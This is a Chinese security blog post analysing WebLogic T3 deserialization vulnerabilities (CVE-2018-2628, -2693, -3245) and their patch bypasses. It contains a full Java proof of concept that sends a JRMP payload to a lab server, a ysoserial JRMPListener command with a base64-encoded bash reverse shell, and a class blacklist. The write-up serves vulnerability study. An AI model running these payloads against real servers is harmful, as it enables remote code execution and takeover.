Weblogic Analysis Attacked by T3 Protocol From CVE (part 3)

渗透技巧 2年前 (2022) admin
470 0 0

点击 / 关注我们

前言

继续抽空学习Weblogic CVE中有关T3协议的漏洞利用方式!

环境搭建

和前面的过程类似

T3+JRMP利用

CVE-2018-2628

原理

这个CVE也就是前面的一种绕过,前面是在payload中将其动态代理为了Activator

或者是通过StreamMessageImpl类进行了封装

分析

我们主要是对使用StreamMessageImpl类进行封装的方法进行分析一下子

对于上一个CVE中,利用JRMP协议进行任意请求的利用,再通过T3协议进行序列化数据的传输之后,在wls端进行反序列化调用中

weblogic.rjvm.MsgAbbrevJVMConnection#readMsgAbbrevs中获取输入流之后调用了weblogic.rjvm.InboundMsgAbbrev#read进行处理,在该方法中,调用了该类重写的的readObject方法进行反序列化的调用

Weblogic Analysis Attacked by T3 Protocol From CVE (part 3)
image-20221022134547216.png

一直可以跟踪到java.io.ObjectInputStream#readOrdinaryObject方法中

Weblogic Analysis Attacked by T3 Protocol From CVE (part 3)
image-20221022134739065.png

是直接调用的readSerialData方法对序列化数据进行了反序列化处理,进而能够创建一个包含有我们设定的恶意的TCPEndpoint类的DGCClient

Weblogic Analysis Attacked by T3 Protocol From CVE (part 3)
image-20221022135039378.png

之后能够触发连接

但是再上一个版本的补丁中进行了修复,这里的利用方式就是通过最开始调用readSerialData方法进行直接反序列化数据的位置,我们通过调用readExternalData方法来间接触发反序列化

但是,我们需要进入这个if语句,就需要使得,我们传入的类满足

if (desc.isExternalizable())

这个调用,这里的isExternalizable也就是判断是否实现了Externalizable接口

Weblogic Analysis Attacked by T3 Protocol From CVE (part 3)
image-20221022140348979.png

在weblogic中有很多的实现

同样因为需要进行反序列化的调用,所以也需要实现了StreamMessageImpl接口,我们可以定位到这里的利用,StreamMessageImpl

Weblogic Analysis Attacked by T3 Protocol From CVE (part 3)
image-20221022140506782.png

因为在ObjectInputStream#readOrdinaryObject方法中,在进入了if语句之后将会调用readExternalData方法,进而调用了我们序列化最外层的类的readExternal方法

Weblogic Analysis Attacked by T3 Protocol From CVE (part 3)
image-20221022140910184.png

这里即是StreamMessageImpl#readExternal方法中

Weblogic Analysis Attacked by T3 Protocol From CVE (part 3)
image-20221022141454916.png

我们可以关在到,在while循环中,存在有var5.readObject方法的调用

想要使得var5为我们构造的序列化数据,之后成功进行反序列化的利用的。我们需要解决几个难点

  1. 1. 首先就是需要进入到case 1:语句中

我们阅读前面的逻辑,首先是调用了readByte方法中输入流中获取了一个字节var2,之后将这个数与127做按位与运算得到var3之后判断var3的值,根据这个逻辑,我们需要在序列化的时候writeByte一个1才能够进入case 1:语句

Weblogic Analysis Attacked by T3 Protocol From CVE (part 3)
image-20221022142148930.png

  1. 1. 第二个是解决在case语句中生成的payload属性是我们的序列化数据,我们跟进一下createPayload方法看看该属性是从哪里来的

Weblogic Analysis Attacked by T3 Protocol From CVE (part 3)
image-20221022142749204.png

这里首先是调用输入流的readInt方法得到了序列化数据的长度,之后调用copyPayloadFromStream方法从流中获取到payload序列化数据,跟进看看

Weblogic Analysis Attacked by T3 Protocol From CVE (part 3)
image-20221022143330175.png

调用了createOneSharedChunk来创建Chunk

Weblogic Analysis Attacked by T3 Protocol From CVE (part 3)
image-20221022143420917.png

逻辑还是很明确的,就是通过read方法的调用,一块一块的从输入流中读取序列化数据

所以,我们首先需要writeInt一个序列化数据的长度,之后write序列化数据

综上所述,我们需要在StreamMessageImpl#writeExternal方法中,一次调用writeByte(1) / writeInt(len(payload)) / write(payload)

我们可以通过重写weblogic.jms.common.StreamMessageImpl类的writeExternal方法来实现这些逻辑

Weblogic Analysis Attacked by T3 Protocol From CVE (part 3)
image-20221022144304233.png

所以完整的POC为

package pers.weblogic;

import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import static com.supeream.weblogic.BypassPayloadSelector.streamMessageImpl;


public class CVE_2017_3248 {
    public Object getObject() {
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint tcpEndpoint = new TCPEndpoint("192.168.153.1", 9998);
        UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);
//        Registry registry = (Registry) Proxy.newProxyInstance(CVE_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, handler);
        Object object = Proxy.newProxyInstance(CVE_2017_3248.class.getClassLoader(), new Class[]{Activator.class}, handler);
        return object;
    }

    public static void main(String[] args) {
        try {
            byte[] serialize = Serializables.serialize(new CVE_2017_3248().getObject());
            T3ProtocolOperation.send("192.168.153.136", "7001", Serializables.serialize(streamMessageImpl(serialize)));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

其中的streamMessageImpl方法

public static Object streamMessageImpl(byte[] object) throws Exception {

    StreamMessageImpl streamMessage = new StreamMessageImpl();
    streamMessage.setDataBuffer(object, object.length);
    return streamMessage;
}

其中setDataBuffer方法

public void setDataBuffer(byte[] var1, Integer var2) {
    this.payload_content = var1;
    this.payload_size = var2;
}

对于恶意JRMP服务端,我们可以自己搭建一个,或者直接使用ysoserial项目中的

java -cp .ysoserial.jar ysoserial.exploit.JRMPListener 9998 CommonsCollections6 'bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xNTMuMS84MDAwIDwmMSc=}|{base64,-d}|{bash,-i}'

给个调用链

readObject:71, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2122, ObjectInputStream (java.io)
readOrdinaryObject:2013, ObjectInputStream (java.io) [4]
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2122, ObjectInputStream (java.io)
readOrdinaryObject:2013, ObjectInputStream (java.io) [3]
readObject0:1535, ObjectInputStream (java.io)
defaultReadFields:2231, ObjectInputStream (java.io)
readSerialData:2155, ObjectInputStream (java.io)
readOrdinaryObject:2013, ObjectInputStream (java.io) [2]
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readExternal:1444, StreamMessageImpl (weblogic.jms.common)
readExternalData:2062, ObjectInputStream (java.io)
readOrdinaryObject:2011, ObjectInputStream (java.io) [1]
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)

CVE-2018-2693

原理

对于这个CVE也就是在apache修复了commons-collections的漏洞之后,通过JDK 7u21的一个原生反序列化漏洞进行的利用

也就不具体分析了,但是限制也是很大的,虽然现在已经存在有8u20的一个新的利用链,但是还是不能够在较高版本中利用

CVE-2018-3245

原理

这个也就是对前面CVE的修复的一种绕过思路,前面针对该种攻击主要是采用的黑名单的方式进行过滤

// 黑名单package:
java.rmi.activation
sun.rmi.server
// 黑名单class:
java.rmi.server.UnicastRemoteObject
java.rmi.server.RemoteObjectInvocationHandler

这里采用了其他类来代替前面使用的RemoteObjectInvocationHandler

分析

我们知道前面JRMP的利用主要是在RemoteObject#readObject方法

前面使用RemoteObjectInvocationHandler进行代理,也是想要触发RemoteObject#readObject方法调用了readExternal方法进行利用

Weblogic Analysis Attacked by T3 Protocol From CVE (part 3)
image-20221022161306697.png

既然该类不能够使用了,我们可以寻找其他的类来构造,即需要保证该类继承RemoteObject类且没有重写readObject方法(即使没有破环利用链)

Weblogic Analysis Attacked by T3 Protocol From CVE (part 3)
image-20221022161546117.png

存在有很多类,能够利用

这里至于个例子构建利用链就行了,就例如ReferenceWrapper_Stub类中的构造方法中

Weblogic Analysis Attacked by T3 Protocol From CVE (part 3)
image-20221022161706004.png

能够传入一个RemoteRef对象,且并没有实现readObject方法, 也不在黑名单中

我们可以利用这个类代替前面的RemoteObjectInvocationHandler封装UnicastRef对象

public Object getObject() {
    ObjID id = new ObjID(new Random().nextInt());
    TCPEndpoint tcpEndpoint = new TCPEndpoint("192.168.153.1", 9997);
    UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));
//        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);
//        Registry registry = (Registry) Proxy.newProxyInstance(CVE_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, handler);
//        Object object = Proxy.newProxyInstance(CVE_2017_3248.class.getClassLoader(), new Class[]{Activator.class}, handler);
    ReferenceWrapper_Stub object = new ReferenceWrapper_Stub(unicastRef);

    return object;
}

同样还有着很多其他的类能够利用

RegistryImpl_Stub

DGCImpl_Stub

….

但是限制同样存在,前面也提到了JEP 290,在8u231开始不能够成功利用,当然也有着稍微高点版本的绕过方式,这里也就不深入分析了

Ref

https://www.chabug.org/author/Y4er

https://github.com/QAX-A-Team/WeblogicEnvironment

https://www.anquanke.com/member.html?memberId=151002

https://www.freebuf.com/vuls/179579.html

https://www.freebuf.com/vuls/229140.html

https://avd.aliyun.com/search?q=Weblogic&page=1


推荐阅读:
2022蓝帽杯遇见的 SUID 提权 总结篇
CobaltStrike beacon二开指南
Edge浏览器-通过XSS获取高权限从而RCE
The End of AFR?
java免杀合集

跳跳糖是一个安全社区,旨在为安全人员提供一个能让思维跳跃起来的交流平台。

跳跳糖持续向广大安全从业者征集高质量技术文章,可以是漏洞分析,事件分析,渗透技巧,安全工具等等。
通过审核且发布将予以500RMB-1000RMB不等的奖励,具体文章要求可以查看“投稿须知”。
阅读更多原创技术文章,戳“阅读全文

原文始发于微信公众号(跳跳糖社区):Weblogic Analysis Attacked by T3 Protocol From CVE (part 3)

版权声明:admin 发表于 2022年11月3日 下午3:16。
转载请注明:Weblogic Analysis Attacked by T3 Protocol From CVE (part 3) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...